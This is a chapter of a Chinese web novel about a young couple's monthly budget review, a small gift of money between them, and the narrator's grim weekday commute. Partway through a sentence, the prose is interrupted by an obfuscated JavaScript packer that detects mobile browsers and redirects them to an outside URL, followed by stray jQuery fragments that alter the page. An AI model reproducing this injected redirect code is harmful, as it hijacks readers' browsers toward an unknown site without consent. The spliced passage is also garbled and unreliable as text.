如果说周末是用来造梦的，那么周日晚上的十点，就是梦醒时分的清算现场。


    我们坐在客厅的地毯上，中间摆着那台发烫的笔记本电脑，屏幕上那张Excel表格发出的惨白光线，照亮了我们两张严峻的脸。


    这是我们每个月一次的家庭财务复盘会。仪式感堪比上市公司的年报发布，虽然我们讨论的金额可能还不够人家一顿饭钱。


    “电费为什么这个月是四百二？”许漫戴着眼镜，手指在触摸板上滑动，眉头紧锁，像个铁面无私的审计师，“林知，你是不是趁我不在家，把空调开到十八度了？”


    “冤枉。”我盘腿坐在一边，手里剥着个橘子，试图用讨好的语气蒙混过关，“可能是上周下雨，烘干机用多了。你也知道，那个烘干机是电老虎。”


    “下个月少用。衣服晾阳台上又不是干不了。”许漫在键盘上敲敲打打，把那个红色的数字标粗，“还有这项，‘其他娱乐支出’，六百八。这是什么？”


    我剥橘子的手顿了一下。


    那是上周我也没忍住，偷偷买的一张Switch的新游戏卡带，还有两张想要很久的黑胶唱片。


    “那个……”我把一瓣橘子递到她嘴边，“精神食粮。为了防止我抑郁，这属于医疗保健支出。”


    许漫没张嘴，也没接橘子，只是斜眼看着我。那眼神里的意思很明白：你再编？


    我讪讪地收回手，把橘子塞进自己嘴里：“好吧，是游戏卡带。但我保证，这是今年最后一次了。”


    许漫叹了口气。


    她没再说什么，只是默默地把那笔支出归类，然后合上了电脑。


    空气有些沉闷。


    在这个一线城市，活着本身就是一种昂贵的消费。房贷像一只巨兽，每个月雷打不动地张开血盆大口，吞掉我们收入的一大半。剩下的钱，要用来买菜、交水电、通勤、人情往来，还要从牙缝里省出一点点，扔进那个名为“抗风险基金”的储蓄罐里。


    每一分钱，都是我们用命换来的。


    我看着许漫疲惫的侧脸，心里突然涌上一股巨大的愧疚。


    她以前也是个喜欢买香水、喜欢每季都要添置新裙子的姑娘。可是自从跟我买了这套房子，背上了这三十年的债，她的购物车里全是卷纸、洗衣液和打折的速冻食品。她那一瓶神仙水用了快一年还没舍得换新的。


    “漫漫。”我挪过去，把头靠在她的肩膀上，“我是不是特没用？连个游戏自由都给不了你。”


    “少来这套。”许漫伸手推了推我的脑袋，语气却软了下来，“谁稀罕你的游戏自由。”


    她拿起手机，在那点了几下。


    “叮”的一声。


    我的手机震了一下。


    我拿起来一看，是支付宝的转账提醒。


    “许漫向你转账 1000.00元”


    “备注：给小朋友买零食。别乱花，省着点吃。”


    我愣住了，抬头看她。


    “看什么看？”许漫摘下眼镜，揉了揉鼻梁，“我看你那双鞋底都磨偏了，走路不难受啊？去买双好点的鞋。剩下的钱，允许你再买张唱片，但只能一张。”


    “你哪来的钱？你不是说这月奖金还没发吗？”


    “私房钱。”她站起来，伸了个懒腰，骨骼发出咔吧咔吧的轻响，“行了，洗洗睡吧。明天又是周一，还得去给资本家卖命呢。”


    我看着手机屏幕上那个醒目的数字，眼眶发酸。


    在这个谈钱伤感情、谈感情伤钱的时代，这那一千块钱，比一千句“我爱你”都要重。


    因为它代表着，在这个资源匮乏的生存游戏里，她愿意把她那份口粮分给我。她愿意为了我的快乐，压缩她的欲望。


    这就是成年人的爱。它不飘在天上，它落在地上，变成了转账记录，变成了鞋子，变成了那一笔笔斤斤计较却又充满温情的流水账。


    第二天早上七点。


    闹钟准时响起。那声音尖锐、急促，像是一把电钻直接钻进了脑浆里。


    这是我一天中最想死的时候。


    身体还沉浸在睡眠的惯性里，每一块肌肉都在尖叫着拒绝。窗外是灰蒙蒙的天，冬天的早晨亮得晚，那种惨白的光线让人从心里感到绝望。


    我闭着眼，在被窝里挣扎了五秒钟，然后深吸一口气，猛地掀开被子。


    冷空气瞬间包裹了全身，让我打了个寒颤。


    这一激灵，把“林知”这个人类的灵魂震碎了，取而代之的是“林经理”这个社畜的程序。


    我机械地下床，机械地刷牙洗脸，机械地从衣柜里拿出那套黑色的西装。镜子里的我，脸色苍白，眼神空洞，正在熟练地往脸上涂抹粉底，试图用化妆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088269|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    品画出一张“我很有精神、我很热爱工作”的假面具。


    一切收拾妥当，七点半。


    我走到卧室门口。


    卧室的窗帘拉得很严实，光线昏暗。床上隆起小小的一团。


    许漫还在睡。她是老师，学校离家近，可以比我多睡半个小时。


    她睡得很熟，半张脸埋在枕头里，呼吸绵长而平稳。被子的一角滑落了下来，露出了肩膀。


    我轻手轻脚地走过去，帮她把被子掖好。


    我的动作很轻，生怕惊扰了这场好梦。因为我知道，再过三十分钟，她的闹钟也会响。她也会经历那种痛苦的挣扎，也会戴上名为“许老师”的面具，去面对几十个吵闹的学生和无尽的教案。


    但这三十分钟，是上帝赐给她的仁慈，我不忍心剥夺。


    我站在床边，贪婪地看了她一会儿。


    在这灰暗的晨光里，她的睡颜显得那么安详，那么毫无防备。她是软的，暖的，是这个冰冷世界里唯一的温存。


    我突然明白了，我为什么要忍受这一切。


    我为什么要忍受每天一个半小时的通勤？为什么要忍受甲方的指责和老板的画饼？为什么要忍受颈椎的疼痛和胃里的痉挛？为什么要在那个全是怪兽的斗兽场里拼得头破血流？


    就是为了这个。


    为了这间七十平米的房子能一直亮着灯。


    为了这张床上的这个人能睡得安稳。


    为了我们能在每个月复盘的时候，虽然抱怨，但依然有底气说一句“下个月继续”。


    她是我的软肋，是我只要一想到如果失去她就会痛不欲生的存在。


    但她也是我的铠甲，是我在外面被万箭穿心时，只要想到晚上能回家抱抱她，就能咬牙把箭拔出来再战三百回合的理由。


    “走了。”


    我用口型无声地对她说了一句。


    我俯下身，在虚空中吻了吻她的轮廓，没有真的碰触，怕凉气冰到了她。


    转身，出门。


    防盗门“咔哒”一声关上了。


    这声脆响，将那个温暖的、柔软的、充满奶香味的世界关在了身后。


    我转过身，面对着幽暗的楼道，面对着即将到来的早高峰地铁，面对着那未知的、坚硬的一天。


    我裹紧了大衣，推了推眼镜，大步走进了寒风里。